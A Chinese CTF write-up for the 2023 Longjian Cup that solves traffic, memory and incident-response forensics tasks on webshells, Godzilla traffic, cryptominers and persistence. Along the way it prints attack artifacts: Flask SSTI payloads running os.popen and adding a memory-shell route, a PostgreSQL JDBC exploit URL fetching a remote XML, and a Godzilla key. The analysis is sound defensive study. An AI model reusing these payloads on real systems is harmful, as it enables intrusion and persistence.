2023隴劍杯-WP全解
2023隴劍杯詳解
練習(xí)完21年的題目后學(xué)到很多,整理后就開(kāi)始攻克23年的題目了,這次的題目比之上次有過(guò)之而無(wú)不及,題目更加深入全面了
數(shù)據(jù)分析-HW
首先進(jìn)行協(xié)議分級(jí)查看,全都是應(yīng)用層的tcp流量

這是一段純 TCP 封裝的 IPv4 以太網(wǎng)流量,所有分組嚴(yán)格遵循四層封裝,核心數(shù)據(jù)在 TCP 層承載,適合分析 “基于 TCP 的應(yīng)用交互”(比如網(wǎng)頁(yè)瀏覽、文件傳輸?shù)葓?chǎng)景的流量)。
hard_web_1
服務(wù)器開(kāi)放了哪些端口,請(qǐng)按照端口大小順序提交答案,并以英文逗號(hào)隔開(kāi)(如服務(wù)器開(kāi)放了80 81 82 83端口,則答案為80,81,82,83)
篩選 TCP 開(kāi)放端口(最常用):
tcp.flags.syn == 1 && tcp.flags.ack == 1
解釋?zhuān)褐伙@示 TCP 協(xié)議里,服務(wù)器回復(fù)的 SYN - ACK 包(客戶(hù)端發(fā) SYN 連接請(qǐng)求,服務(wù)器同意連接時(shí)回復(fù)的包)。這類(lèi)包的目的端口(客戶(hù)端請(qǐng)求的端口) 就是服務(wù)器開(kāi)放的端口(因?yàn)榭蛻?hù)端連的是服務(wù)器的這個(gè)端口,服務(wù)器才會(huì)回應(yīng))。
只有開(kāi)放的端口才會(huì)通過(guò)三次握手建立連接

篩選結(jié)果由圖可知:確定開(kāi)放的端口是 80,888,8888
hard_web_2
服務(wù)器中根目錄下的flag值是多少?
由于流量太多了,先查看文件對(duì)象

找到shell.jsp文件
過(guò)慮http,搜索shell.jsp

跟蹤流查看,jsp后門(mén)文件應(yīng)該是利用成功了

再往下看,發(fā)現(xiàn)哥斯拉

解密哥斯拉流量:
-
步驟 1:輸入加密數(shù)據(jù)
將拆分出的 “加密請(qǐng)求體 / 響應(yīng)體” 內(nèi)容(十六進(jìn)制或原始字節(jié))粘貼到 Input 區(qū)域。 -
步驟 2:添加解密 Recipe
依次添加操作:
- 若數(shù)據(jù)是十六進(jìn)制形式,先加
From Hex(轉(zhuǎn)為原始字節(jié)); - 再加
AES Decrypt,配置:- 密鑰:
748007e861908c03(已知哥斯拉 AES 密鑰,注意長(zhǎng)度需符合 AES 標(biāo)準(zhǔn),這里 16 字節(jié)即 AES-128 ); - 模式:哥斯拉常用
CBC模式(需確認(rèn),若不對(duì)換ECB等嘗試); - IV(初始向量):若流量里有傳遞,需從 HTTP 頭或體中提??;若未顯式傳遞,哥斯拉可能用默認(rèn)(或與密鑰關(guān)聯(lián)生成,需調(diào)試)。
- 密鑰:
- 若解密后有亂碼,補(bǔ)充
Gunzip(因原始流量可能經(jīng) gzip 編碼,雖 HTTP 流已解碼,但加密前可能又壓縮,需二次解壓)。
- 若數(shù)據(jù)是十六進(jìn)制形式,先加
-
步驟 3:執(zhí)行解密
點(diǎn)擊Run,Output 區(qū)域會(huì)顯示解密后的明文(可能是哥斯拉的命令、回顯等交互內(nèi)容)。
沿著20046繼續(xù)向后分析

查看流20053時(shí),解密發(fā)現(xiàn)查詢(xún)flag

解密響應(yīng)結(jié)果獲得flag

哥斯拉流量
注意:下邊博客正好是針對(duì)這一題展開(kāi)講解的
【流量分析】Godzilla分析_哥斯拉流量特征-CSDN博客
哥斯拉流量核心特征
- 協(xié)議偽裝:基于 HTTP/HTTPS 傳輸,用常見(jiàn) Web 端口(80/443 等),請(qǐng)求方法多為
POST,響應(yīng)碼常偽裝200,混在正常流量中。 - 加密混淆:
- 采用 AES 對(duì)稱(chēng)加密(配固定密鑰),請(qǐng)求 / 響應(yīng)體為加密 “亂碼塊”(非明文
key=value),可能經(jīng) Gzip 二次壓縮。 - 流量體積極小(命令執(zhí)行場(chǎng)景)或突發(fā)增大(文件傳輸場(chǎng)景 )。
- 采用 AES 對(duì)稱(chēng)加密(配固定密鑰),請(qǐng)求 / 響應(yīng)體為加密 “亂碼塊”(非明文
- 交互模式:嚴(yán)格 “請(qǐng)求 - 響應(yīng)”,必有來(lái)回流量(執(zhí)行命令需回顯結(jié)果 )。
代碼層面特征
- 硬編碼密鑰:內(nèi)置 AES 密鑰
748007e861908c03(16 字節(jié),AES-128),用于加密通信。 - 動(dòng)態(tài)加載機(jī)制:通過(guò)自定義類(lèi)加載器
X動(dòng)態(tài)加載加密的惡意字節(jié)碼(payload),存儲(chǔ)在session中,避免靜態(tài)檢測(cè)。 - 加密 / 解密邏輯:含
x()方法,基于 AES 實(shí)現(xiàn)請(qǐng)求體解密、響應(yīng)體加密,默認(rèn) ECB 模式。 - 請(qǐng)求處理:首次請(qǐng)求加載
payload,后續(xù)請(qǐng)求執(zhí)行命令并加密返回結(jié)果,依賴(lài)session保持狀態(tài)。
處理步驟
- 快速識(shí)別:
- 過(guò)濾規(guī)則:
http.request.method == "POST" && http contains "可疑路徑(如 shell.jsp )",篩選 “小體積加密 POST 流量”。 - 對(duì)比正常流量:同路徑下,請(qǐng)求體無(wú)明文參數(shù)、全為加密亂碼 → 標(biāo)記可疑。
- 過(guò)濾規(guī)則:
- 解密實(shí)錘:
- 用 CyberChef 按
From Hex(轉(zhuǎn)加密體)→ AES Decrypt(填密鑰)→ Gunzip(解壓縮)流程解密 → 若出現(xiàn)命令 / 回顯(如whoami結(jié)果 ),確認(rèn)是哥斯拉。
- 用 CyberChef 按
- 應(yīng)急處置:
- 服務(wù)端:刪除
shell.jsp等 webshell 文件,檢查同目錄 / 可疑文件(如近期新增、隱藏文件 )。 - 網(wǎng)絡(luò)側(cè):封禁客戶(hù)端 IP(若固定),在 WAF 添規(guī)則(攔截含加密特征的 POST )。
- 溯源:分析解密后的命令(如攻擊者執(zhí)行了哪些操作 ),排查內(nèi)網(wǎng)橫向滲透風(fēng)險(xiǎn)。
- 服務(wù)端:刪除
hard_web_3
該webshell的連接密碼是多少?
md5查詢(xún)獲得秘鑰

數(shù)據(jù)分析-WS
Wireshark_1
被入侵主機(jī)的IP是?
直接過(guò)濾tcp,第一次是源ip,目標(biāo)ip就是被入侵ip:192.168.246.28

Wireshark_2
被入侵主機(jī)的口令是?
直接跟蹤流,只有一個(gè)流,看見(jiàn)密碼

Wireshark_3
用戶(hù)目錄下第二個(gè)文件夾的名稱(chēng)是?
看的到,執(zhí)行了ls,找到第二個(gè)文件名

Wireshark_4
/etc/passwd中倒數(shù)第二個(gè)用戶(hù)的用戶(hù)名是?
執(zhí)行了cat命令查看這個(gè)文件,直接找到倒數(shù)第二個(gè)即可

數(shù)據(jù)分析-EW
ez_web_1
題目?jī)?nèi)容:服務(wù)器自帶的后門(mén)文件名是什么?(含文件后綴)
查看文件找到后門(mén)php文件

提交后不對(duì),說(shuō)明d00r.php可能是通過(guò)服務(wù)器自帶的后門(mén)寫(xiě)入的webshell
直接查找d00r.php,找到第一個(gè)出現(xiàn)的位置

解碼看到d00r.php是在這里被寫(xiě)入的

所以服務(wù)器自帶的后門(mén)文件就是:ViewMore.php
ez_web_2
題目?jī)?nèi)容:服務(wù)器的內(nèi)網(wǎng)IP是多少?
執(zhí)行了ifconfig查看

ez_web_3
題目?jī)?nèi)容:攻擊者往服務(wù)器中寫(xiě)入的key是什么?
看到password

再往下,看到

執(zhí)行命令寫(xiě)入文件

解碼獲得zip,選擇unzip輸入密碼進(jìn)行解壓,獲取key信息

數(shù)據(jù)分析-SSW
SmallSword_1
連接蟻劍的正確密碼是______________?(答案示例:123asd)
導(dǎo)出對(duì)象中查看有哪些惡意文件,看到類(lèi)似聯(lián)合注入的語(yǔ)句

接著看發(fā)現(xiàn)寫(xiě)入了webshell進(jìn)去,6ea280898e404bfabd0ebb702327b18f應(yīng)該就是密碼

跟蹤到96,看到使用6e進(jìn)行傳參,并且是antSword/v1.3流量,從UA也可看出
至此6ea280898e404bfabd0ebb702327b18f被證明就是蟻劍密碼

SmallSword_2
題目?jī)?nèi)容:攻擊者留存的值是______________?(答案示例:d1c3f0d3-68bb-4d85-a337-fb97cf99ee2e)
接著搜索antsword,查找攻擊者留存信息
RDovcGhwU3R1ZHkvUEhQVHV0b3JpYWwvV1dXL3NxbGlpL0xlc3MtNy8=
D:/phpStudy/PHPTutorial/WWW/sqlii/Less-7/
RDovcGhwU3R1ZHkvUEhQVHV0b3JpYWwvV1dXL3NxbGlpL0xlc3MtNy9odW9yb25nLmV4ZQ==
D:/phpStudy/PHPTutorial/WWW/sqlii/Less-7/huorong.exe
RDovcGhwU3R1ZHkvUEhQVHV0b3JpYWwvV1dXL3NxbGlpL0xlc3MtNy9oYWNrZXIudHh0
D:/phpStudy/PHPTutorial/WWW/sqlii/Less-7/hacker.txt
YWQ2MjY5YjctM2NlMi00YWU4LWI5N2YtZjI1OTUxNWU3YTkxIA==
ad6269b7-3ce2-4ae8-b97f-f259515e7a91

注意到該流量有兩個(gè)參數(shù),顯示分組字節(jié)進(jìn)行base解碼

找到留存的值
SmallSword_3
題目?jī)?nèi)容:攻擊者下載到的flag是______________?(答案示例:flag3{uuid})
我的第130個(gè)流中沒(méi)有數(shù)據(jù),可能是流量包壞了,這題就不做了
數(shù)據(jù)分析-SS
sevrer save_1
黑客是使用什么漏洞來(lái)拿下root權(quán)限的。格式為:CVE-2020-114514 本題附件見(jiàn)于平臺(tái)公告的SS.zip,解壓密碼為c77ad47ba4c85fae66f08ec12e0085dd
查看對(duì)象,拉倒最后看到進(jìn)行了命令執(zhí)行

跟進(jìn)去看看,看到已經(jīng)利用成功了,向前看看,前一個(gè)包應(yīng)該就是poc

直接搜索就有結(jié)果了:CVE-2022-22965

sevrer save_2
黑客反彈shell的ip和端口是什么,格式為:10.0.0.1:4444
往后翻,訪(fǎng)問(wèn)bash.sh文件,執(zhí)行反彈shell命令

sevrer save_3
黑客的病毒名稱(chēng)是什么? 格式為:filename
在用戶(hù)目錄發(fā)現(xiàn)main文件為一個(gè)可執(zhí)行文件,多半為病毒文件

sevrer save_4
黑客的病毒運(yùn)行后創(chuàng)建了什么用戶(hù)?請(qǐng)將回答用戶(hù)名與密碼:username:password
在/etc/passwd中找到新建用戶(hù),/etc/passwd存放用戶(hù)信息

在shadow文件中找到密碼,/etc/shadow存放密碼哈希

ll:123456
sevrer save_5
服務(wù)器在被入侵時(shí)外網(wǎng)ip是多少? 格式為:10.10.0.1
日志文件中可以看見(jiàn)外連ip

sevrer save_6
病毒運(yùn)行后釋放了什么文件?格式:文件1,文件2

在日志文件中看到執(zhí)行了mine_doge.sh,說(shuō)明這兩個(gè)文件可能就是病毒釋放的

故為:lolMiner,mine_doge.sh
sevrer save_7
礦池地址是什么? 格式:domain:1234
找到礦池地址和黑客的錢(qián)包

doge.millpools.cc:5567
sevrer save_8
黑客的錢(qián)包地址是多少?格式:xx:xxxxxxxx
同上:
DRXz1q6ys8Ao2KnPbtb7jQhPjDSqtwmNN9.lolMinerWorker
數(shù)據(jù)分析-BF
本題詳情可參考下邊wp
2023第二屆隴劍杯網(wǎng)絡(luò)安全大賽 預(yù)選賽Writeup_第二屆“隴劍杯”網(wǎng)絡(luò)安全大賽線(xiàn)上賽write up2023、-CSDN博客
baby_forensics_1
題目?jī)?nèi)容:磁盤(pán)中的key是多少?
壓縮包密碼:4cf611fce4a2fec305e54c2766b7c860
掃描文件,搜索key,找到key.txt導(dǎo)出

進(jìn)行ROT47解密

baby_forensics_2
題目?jī)?nèi)容:電腦中正在運(yùn)行的計(jì)算器的運(yùn)行結(jié)果是多少?
執(zhí)行命令找到calc.exe,分析結(jié)果
vol.exe -f baby.raw --profile=Win7SP1x64 windows > result.txt
模塊名 windows是 Volatility 的一個(gè)插件模塊,用于枚舉 Windows 系統(tǒng)中的窗口信息(如窗口標(biāo)題、位置、所屬進(jìn)程等)。

baby_forensics_3
題目?jī)?nèi)容:該內(nèi)存文件中存在的flag值是多少?
開(kāi)機(jī)自啟項(xiàng)中存在StikyNot.exe,開(kāi)機(jī)自啟動(dòng),存在異常
本題大概思路:
-
查看pslist發(fā)現(xiàn)便箋程序(
StikyNot.exe:Windows便簽程序) -
調(diào)用過(guò)
StikyNot.exe,嘗試尋找snt文件 -
還原
snt文件,查找秘鑰進(jìn)行解密 -
使用R-Studio,在C:/Users/admin/Music下找到i4ak3y
-
利用秘鑰對(duì)密文進(jìn)行AES解密
關(guān)于便箋的詳情可參考下邊這篇文章
西湖論劍2021中國(guó)杭州網(wǎng)絡(luò)安全技能大賽部分Writeup_西湖論劍題目附件-CSDN博客
數(shù)據(jù)分析-TP
tcpdump_1
攻擊者通過(guò)暴力破解進(jìn)入了某Wiki 文檔,請(qǐng)給出登錄的用戶(hù)名與密碼,以:拼接,比如admin:admin
搜索username,任意進(jìn)入一個(gè)包

捕獲關(guān)鍵信息,訪(fǎng)問(wèn)的uri為/login,正確賬密狀態(tài)為"errCode":200
對(duì)應(yīng)搜索語(yǔ)句
http.request.uri=="/login"
errCode:200

結(jié)果只有一條,進(jìn)去看就是正確的賬密:TMjpxFGQwD:123457

tcpdump_2
攻擊者發(fā)現(xiàn)軟件存在越權(quán)漏洞,請(qǐng)給出攻擊者越權(quán)使用的cookie的內(nèi)容的md5值。(32位小寫(xiě))
將cookie應(yīng)用為列方便查看其變化,接著簡(jiǎn)單篩選即可看到cookie的變化

安裝順序看出,userid的變化體現(xiàn)出越權(quán)

MD5后即可
tcpdump_3
攻擊使用jdbc漏洞讀取了應(yīng)用配置文件,給出配置中的數(shù)據(jù)庫(kù)賬號(hào)密碼,以:拼接,比如root:123456
jdbc的應(yīng)用配置文件為application.yml
直接搜索得到數(shù)據(jù)庫(kù)賬密為:zyplayer:1234567

tcpdump_4
攻擊者又使用了CVE漏洞攻擊應(yīng)用,執(zhí)行系統(tǒng)命令,請(qǐng)給出此CVE編號(hào)以及遠(yuǎn)程EXP的文件名,使用:拼接,比如CVE-2020-19817:exp.so
查看文件信息

看到xml文件跟蹤流進(jìn)去

jdbc:postgresql,用的是postgresql,訪(fǎng)問(wèn)了外部ip,搜一搜

分析命令執(zhí)行的poc
jdbc:postgresql://127.0.0.1:5432/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml
類(lèi)似,分析可得cve以及exp:CVE-2022-21724:custom.dtd.xml
tcpdump_5
給出攻擊者獲取系統(tǒng)權(quán)限后,下載的工具的名稱(chēng),比如nmap
直接進(jìn)后幾個(gè)流中查看,或者嘗試搜索一些工具fscan

可知,下載了fscan
數(shù)據(jù)分析-HD
hacked_1
admIn用戶(hù)的密碼是什么?
賬密傳輸要用POST協(xié)議,只看返回為200的結(jié)果
http.response.code==200 or http.request.method==POST
hello
隨意打開(kāi)一個(gè)看一下,返回信息
看出是進(jìn)行了AES加密,給了key和iv

接著將賬密作為顯示列,對(duì)應(yīng)賬密的后幾個(gè)就是其結(jié)果
找到返回結(jié)果為hello,admin
上一條一定是其密碼

將上一條流的密碼進(jìn)行解密,由于AES加密結(jié)果默認(rèn)是經(jīng)過(guò) Base64 編碼的字符串 ,所以先進(jìn)行base64解碼后進(jìn)行aes解密即可

hacked_2
app.config['SECRET_KEY']值為多少?
直接搜索SECRET_KEY,看到其值為:ssti_flask_hsfvaldb

hacked_3
flask網(wǎng)站由哪個(gè)用戶(hù)啟動(dòng)?
查看Cookie可以獲取用戶(hù)信息
使用下邊的項(xiàng)目進(jìn)行解碼
GitHub - noraj/flask-session-cookie-manager: ?? Flask Session Cookie Decoder/Encoder
首先將,上一問(wèn)位置的cookie進(jìn)行解碼
python flask_session_cookie_manager3.py decode -s "ssti_flask_hsfvaldb" -c ".eJyrViouSSwpLVayKikqTdVRKi1OLcpLzE1VslKqVi0oyswr0UjOz0vLTNdUrY0pNTAwSKMFqVQLAAlNKwg.YpIPag.rjQLHg1gYSUeH_eCvEO0sFmLL_E"
{'status': True, 'username': '{%print(config)%}\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f'}
沒(méi)有有用信息,接著向后看,看到第76個(gè)包時(shí),出現(xiàn)hello,解碼查看
python flask_session_cookie_manager3.py decode -s "ssti_flask_hsfvaldb" -c ".eJwdx1EKwyAMANCrDEGiPz1Ar1KGZBi7gBpplH2Idy_d-3vTDKWrYiGzm2k5vZRUWeo2WsRObkLKeMKeuekoB4RwZvlg1hDg_S917lSeOhAFf0CTRvXp7ytYGPx2EUbnl7drWqqRk11m3cGmKw0.YpIQcw.J5vs8t8bAr0xDIxF6EqUAH2kkLE"
{'username': "{%if session.update({'flag':lipsum['__globals__']['__getitem__']('os')['popen']('whoami').read()})%}{%endif%}"}
python flask_session_cookie_manager3.py decode -s "ssti_flask_hsfvaldb" -c ".eJwdylsKAyEMQNGtFEGiUGYBs5VpkRQz04AvjNIPce-t_TyXO9QZ8FK7quQfSd1VF6oJI_3S0HzehEQ4p60Xj43MgPXDHrhIjwc4d4X8wiDOwfNPatwoLhrIAvaAkgulxc87Y2SwWyX0xk6r59CUPJ96qvkFHeUvmg.YpIQkg.65xf8l2g9fXAImkfyihId46KkY4"
{'flag': 'red\n', 'username': "{%if session.update({'flag':lipsum['__globals__']['__getitem__']('os')['popen']('whoami').read()})%}{%endif%}"}
請(qǐng)求包中查詢(xún)whoami
響應(yīng)包中回復(fù)red
故而,用戶(hù)名就是red
hacked_4
攻擊者寫(xiě)入的內(nèi)存馬的路由名叫什么?(答案里不需要加/)
接著向后進(jìn)行分析
python flask_session_cookie_manager3.py decode -s "ssti_flask_hsfvaldb" -c ".eJx1jUsOgkAQBa-Cs2lJCEbdcQI9A0w6DdMaYjPgfAwJmbsLC1fq7r2kKrWo6NlZGlhValmiE7yNrkS8y9iSeMQaENvYS-jt-kDXwC8S0PtG0TSVZAxulovCezhcreEZigw-Q2hoDWUVXFhk3GXH0xnyRhULoONnZB-wCzP6QN0Dqt_9b1AXsMb_8F10jm3AjdApT0mlNx2uUsY.YpIRHQ.qS_PWmxt4i4cjHYBzDz-rUdTZns"
{'username': '{{url_for.__globals__[\'__builtins__\'][\'eval\']("app.add_url_rule(\'/Index\', \'Index\', lambda :\'Hello! 123\')",{\'_request_ctx_stack\':url_for.__globals__[\'_request_ctx_stack\'],\'app\':url_for.__globals__[\'current_app\']})}}'}
動(dòng)態(tài)添加一個(gè)路由 /Index,返回固定字符串 Hello! 123
所以寫(xiě)入的內(nèi)存馬的路由名叫Index
數(shù)據(jù)分析-IR
你是公司的一名安全運(yùn)營(yíng)工程師,今日接到外部監(jiān)管部門(mén)通報(bào),你公司網(wǎng)絡(luò)出口存在請(qǐng)求挖礦域名的行為。需要立即整改。經(jīng)過(guò)與網(wǎng)絡(luò)組配合,你們定位到了請(qǐng)求挖礦域名的內(nèi)網(wǎng)IP是10.221.36.21。查詢(xún)CMDB后得知該IP運(yùn)行了公司的工時(shí)系統(tǒng)。(虛擬機(jī)賬號(hào)密碼為:root/IncidentResponsePasswd)
本題附件為ova形式的文件,OVA 文件是虛擬環(huán)境的 “完整快照”,包含了虛擬機(jī)的所有數(shù)據(jù)痕跡,是數(shù)字取證中重要的分析載體。通過(guò)解析其虛擬磁盤(pán)和配置文件,可還原用戶(hù)操作、系統(tǒng)活動(dòng)及潛在的惡意行為,為案件調(diào)查提供關(guān)鍵證據(jù)。
OVA 文件的取證核心是對(duì)其包含的虛擬磁盤(pán)文件(如.vmdk)和配置文件(.ovf)進(jìn)行解析,提取與案件相關(guān)的證據(jù)。
雙擊OVA 文件會(huì)在VMware中新建一個(gè)虛擬機(jī)打開(kāi),也可直接進(jìn)行解壓

接著進(jìn)入R-studio中對(duì)vmdk文件進(jìn)行取證分析
IncidentResponse_1
挖礦程序所在路徑是?(答案中如有空格均需去除,如有大寫(xiě)均需變?yōu)樾?xiě),使用echo -n 'strings'|md5sum|cut -d ' ' -f1獲取md5值作為答案)
本題附件見(jiàn)于平臺(tái)公告的IR.zip,解壓密碼為f0b1ba11478343f404666c355919de3f
由于終端限制,不支持上下翻滾,于是用more或less進(jìn)行翻閱
ps -ef | more

Redis 服務(wù)的網(wǎng)絡(luò)暴露風(fēng)險(xiǎn)(需檢查 bind 配置)、SSH 歷史攻擊痕跡(需加固認(rèn)證)、Java 應(yīng)用的內(nèi)存與日志管理是重點(diǎn)關(guān)注項(xiàng)。通過(guò)關(guān)聯(lián)日志、網(wǎng)絡(luò)連接、配置文件,可深度排查入侵或故障隱患。
存疑漏洞點(diǎn):
- Redis 服務(wù)暴露風(fēng)險(xiǎn):
redis-server進(jìn)程若監(jiān)聽(tīng)在公網(wǎng)(未限制bind為本地或可信 IP ),且無(wú)密碼或弱密碼,易遭暴力破解、未授權(quán)訪(fǎng)問(wèn),像 SSH 攻擊場(chǎng)景一樣,攻擊者可能利用 Redis 漏洞寫(xiě)入公鑰、篡改數(shù)據(jù)甚至拿權(quán)限。 - SSH 安全隱患:歷史有暴力破解、公鑰非法登錄成功記錄,說(shuō)明 SSH 認(rèn)證防護(hù)不足,比如密碼復(fù)雜度低、未禁用密碼登錄僅用公鑰(或公鑰管理不善被植入 ),存在持續(xù)被入侵風(fēng)險(xiǎn)。
- 進(jìn)程與服務(wù)監(jiān)控弱:對(duì)關(guān)鍵進(jìn)程(如 Redis、Java 應(yīng)用 )的運(yùn)行狀態(tài)、資源占用、網(wǎng)絡(luò)連接缺乏有效監(jiān)控,難以及時(shí)發(fā)現(xiàn)異常進(jìn)程(如惡意挖礦、后門(mén) )和服務(wù)故障。
- 日志與配置管理缺漏:系統(tǒng)及服務(wù)日志未充分利用來(lái)審計(jì),關(guān)鍵配置(Redis、SSH 等 )沒(méi)做嚴(yán)格加固,給攻擊者留了滲透入口,也不利于快速追溯、定位安全事件 。 簡(jiǎn)單說(shuō),就是服務(wù)暴露、認(rèn)證弱、監(jiān)控審計(jì)不足,讓系統(tǒng)易被攻擊和控制 。
查看redis的配置文件

也可在R-studio中查看到其中有異常字符以及外連域名

從文件內(nèi)容看,這是 Redis 配置文件被惡意篡改植入挖礦腳本 的典型特征,以下是詳細(xì)分析:
- 文件與場(chǎng)景識(shí)別
- 文件路徑:
/etc/redis/redis.conf(Redis 核心配置文件),被篡改后注入了非 Redis 標(biāo)準(zhǔn)的配置項(xiàng)。 - 工具痕跡:
R-Viewer是遠(yuǎn)程文件查看工具,說(shuō)明攻擊者或運(yùn)維可能通過(guò)遠(yuǎn)程方式訪(fǎng)問(wèn)系統(tǒng)文件。
- 關(guān)鍵惡意配置分析
"url": "donate.v2.xmrig.com:3333",
"user": "YOUR_WALLET_ADDRESS",
這是 XMRig 挖礦程序 的配置片段:
url:指向 XMRig 挖礦池(donate.v2.xmrig.com是知名門(mén)羅幣挖礦池),用于接收挖礦指令、上報(bào)算力。user:攻擊者的門(mén)羅幣錢(qián)包地址,挖礦收益會(huì)轉(zhuǎn)入該地址。
挖礦程序所在路徑就是/etc/redis/redis-server
duan@F0T0ne:~$ echo -n '/etc/redis/redis-server'|md5sum|cut -d ' ' -f1
6f72038a870f05cbf923633066e48881
IncidentResponse_2
挖礦程序連接的礦池域名是?(答案中如有空格均需去除,如有大寫(xiě)均需變?yōu)樾?xiě),使用echo -n 'strings'|md5sum|cut -d ' ' -f1獲取md5值作為答案)
上一問(wèn)分析可知挖礦域名
duan@F0T0ne:~$ echo -n 'donate.v2.xmrig.com'|md5sum|cut -d ' ' -f1
3fca20bb92d0ed67714e68704a0a4503
IncidentResponse_3
攻擊者入侵服務(wù)器的利用的方法是?(答案中如有空格均需去除,如有大寫(xiě)均需變?yōu)樾?xiě),使用echo -n 'strings'|md5sum|cut -d ' ' -f1獲取md5值作為答案)
hint:答案md5值前兩位為3e
由進(jìn)程文件能夠看到是java服務(wù),在/home/app目錄下
將日志文件與jar包恢復(fù)出來(lái)進(jìn)行分析
反編譯jar找到shiro的信息

接著查看其版本

根據(jù)版本信息搜索

可知是shiro的反序列化漏洞
echo -n 'shirodeserialization'|md5sum|cut -d ' ' -f1
3ee726cb32f87a15d22fe55fa04c4dcd
IncidentResponse_4
攻擊者的IP是?(答案中如有空格均需去除,如有大寫(xiě)均需變?yōu)樾?xiě),使用echo -n 'strings'|md5sum|cut -d ' ' -f1獲取md5值作為答案)
獲取攻擊者 IP 的核心方法是從登錄記錄和網(wǎng)絡(luò)訪(fǎng)問(wèn)日志中提取異常 IP,具體如下:
- 通過(guò)系統(tǒng)登錄記錄定位
執(zhí)行last命令查看用戶(hù)登錄歷史,篩選出非管理員常用的異常 IP(如陌生公網(wǎng) IP、與挖礦程序植入時(shí)間吻合的登錄 IP),這些 IP 大概率是攻擊者通過(guò) SSH 等方式直接登錄服務(wù)器的地址。 - 通過(guò) Nginx 訪(fǎng)問(wèn)日志定位
查看 Nginx 訪(fǎng)問(wèn)日志(tail /var/log/nginx/access.log),尋找頻繁發(fā)送異常請(qǐng)求(如漏洞利用 Payload、惡意路徑訪(fǎng)問(wèn))的 IP,這類(lèi) IP 通常是攻擊者通過(guò) Web 漏洞(如之前提到的 JAR 包漏洞)入侵時(shí)使用的源地址。
查看登錄記錄

查看日志文件
/var/log/nginx/access.log

查看歷史命令
root下的bash歷史命令

看到運(yùn)行完jar后嘗試訪(fǎng)問(wèn)了外部ip,可能是測(cè)試是否能夠與攻擊ip建立聯(lián)系
duan@F0T0ne:~$ echo -n '81.70.166.3'|md5sum|cut -d ' ' -f1
c76b4b1a5e8c9e7751af4684c6a8b2c9
IncidentResponse_5
攻擊者發(fā)起攻擊時(shí)使用的User-Agent是?(答案中如有空格均需去除,如有大寫(xiě)均需變?yōu)樾?xiě),使用echo -n 'strings'|md5sum|cut -d ' ' -f1獲取md5值作為答案)
先前的日志分析工具不能解析出UA

手動(dòng)查看,翻到末尾將UA取出,去掉空格,改為小寫(xiě)

duan@F0T0ne:~$ echo -n 'mozilla/5.0(compatible;baiduspider/2.0;+http://www.baidu.com/search/spider.html)'|md5sum|cut -d ' ' -f1
6ba8458f11f4044cce7a621c085bb3c6
IncidentResponse_6
攻擊者使用了兩種權(quán)限維持手段,相應(yīng)的配置文件路徑是?(md5加密后以a開(kāi)頭)(答案中如有空格均需去除,如有大寫(xiě)均需變?yōu)樾?xiě),使用echo -n 'strings'|md5sum|cut -d ' ' -f1獲取md5值作為答案)
查看ssh信息

查看ssh目錄下的文件
- authorized_keys 文件:存儲(chǔ)允許登錄本服務(wù)器的 SSH 公鑰。若有陌生公鑰,可能是攻擊者植入用于免密登錄 。
cat authorized_keys輸出了公鑰內(nèi)容,可用于排查是否有未授權(quán)公鑰添加??赡苁枪粽撸ㄓ?Kali 系統(tǒng))植入的公鑰,用于后續(xù)持久化訪(fǎng)問(wèn)。 - id_rsa.pub 文件:是當(dāng)前服務(wù)器的 SSH 公鑰,可用于識(shí)別本服務(wù)器的 SSH 身份,若被泄露,他人可能模擬身份。
查看日志文件
Ubuntu系統(tǒng)對(duì)應(yīng)日志文件是 /var/log/auth.log,功能與 secure 一致,記錄系統(tǒng)認(rèn)證相關(guān)事件(SSH 登錄是典型場(chǎng)景 )。
找到該文件后進(jìn)行恢復(fù),查看分析,同樣可以看到進(jìn)行了公鑰認(rèn)證
經(jīng)過(guò)爆破無(wú)果后,通過(guò)公鑰進(jìn)行了繞過(guò)

duan@F0T0ne:~$ echo -n '/root/.ssh/authorized_keys'|md5sum|cut -d ' ' -f1
a1fa1b5aeb1f97340032971c342c4258
IncidentResponse_7
攻擊者使用了兩種權(quán)限維持手段,相應(yīng)的配置文件路徑是?(md5加密后以b開(kāi)頭)(答案中如有空格均需去除,如有大寫(xiě)均需變?yōu)樾?xiě),使用echo -n 'strings'|md5sum|cut -d ' ' -f1獲取md5值作為答案)
一、定時(shí)任務(wù)與提權(quán)檢測(cè)
- 基礎(chǔ)定時(shí)任務(wù)排查:執(zhí)行
crontab -l,檢查當(dāng)前用戶(hù)(如 root )是否有直接配置的定時(shí)任務(wù),排查簡(jiǎn)單定時(shí)腳本后門(mén)。 - SUID 權(quán)限審計(jì):通過(guò)
find / -perms -u=s -type f 2>/dev/null,查找系統(tǒng)中帶 SUID 權(quán)限的文件(此類(lèi)文件因特殊權(quán)限,可能被攻擊者利用提權(quán) ),驗(yàn)證是否存在異常文件。

二、系統(tǒng)服務(wù)狀態(tài)檢測(cè)
執(zhí)行 systemctl list-unit-files --type=service ,列出所有 systemd 服務(wù)的啟用狀態(tài),篩選出異常啟用的服務(wù)(如陌生服務(wù)、正常服務(wù)被篡改用途 ),重點(diǎn)標(biāo)記需深度校驗(yàn)的服務(wù)(如案例中 redis.service )。
三、敏感服務(wù)配置審計(jì)
針對(duì)標(biāo)記的可疑服務(wù)(如 redis.service ),定位其 systemd 配置文件(常規(guī)路徑為 /lib/systemd/system/[服務(wù)名].service ),執(zhí)行 cat [配置文件路徑] 查看內(nèi)容。重點(diǎn)檢查 ExecStart 等啟動(dòng)指令字段,判斷是否被注入惡意命令(如挖礦程序啟動(dòng)邏輯 ),確認(rèn)服務(wù)是否被用作權(quán)限維持后門(mén)。

看到挖礦程序被間歇反復(fù)重啟,故第二種維權(quán)中的配置文件路徑為/lib/systemd/system/redis.service
duan@F0T0ne:~$ echo -n '/lib/systemd/system/redis.service'|md5sum|cut -d ' ' -f1
b2c5af8ce08753894540331e5a947d35
維權(quán)總結(jié)
以下是對(duì)常見(jiàn) Linux 下權(quán)限維持手段的檢測(cè)分析:
一、檢測(cè)定時(shí)任務(wù)相關(guān)的權(quán)限維持手段
- 操作:執(zhí)行
